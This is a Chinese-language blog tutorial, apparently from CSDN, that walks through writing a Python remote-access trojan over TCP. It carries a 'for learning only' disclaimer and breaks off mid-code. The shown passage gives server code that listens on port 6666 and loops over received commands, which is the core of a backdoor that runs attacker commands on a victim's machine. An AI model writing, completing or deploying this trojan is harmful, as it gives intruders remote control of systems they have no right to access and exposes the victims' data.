| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。
前言
本文是用 Python 的 Socket 模块进行的服务搭建,主要是基于TCP服务的远程木马,因此要掌握一点TCP服务搭建的知识,可以参考我的另一篇文章,结合网上搜索的知识,搭建TCP服务器和客户端,然后再进行实验。
参考文章:用Python搭建非常简易的TCP客户端和服务器_br0sy的博客-CSDN博客
还要用到 Python 的 os 模块,进行命令操作,接下去话不多说,直接开始写代码
TCP服务端代码
import socket, os
# 以下不写注释了,要了解原理可参考我上面的文章或自行网上搜索
def attack():
s = socket.socket()
try:
s.bind(("0.0.0.0", 6666))
s.listen()
chanel, cilent = s.accept() # accept会造成线程阻塞,但是一般情况下不考虑这个
while True:
recive_content = chanel.recv(1024).decode()
if recive_content.startswith("+&#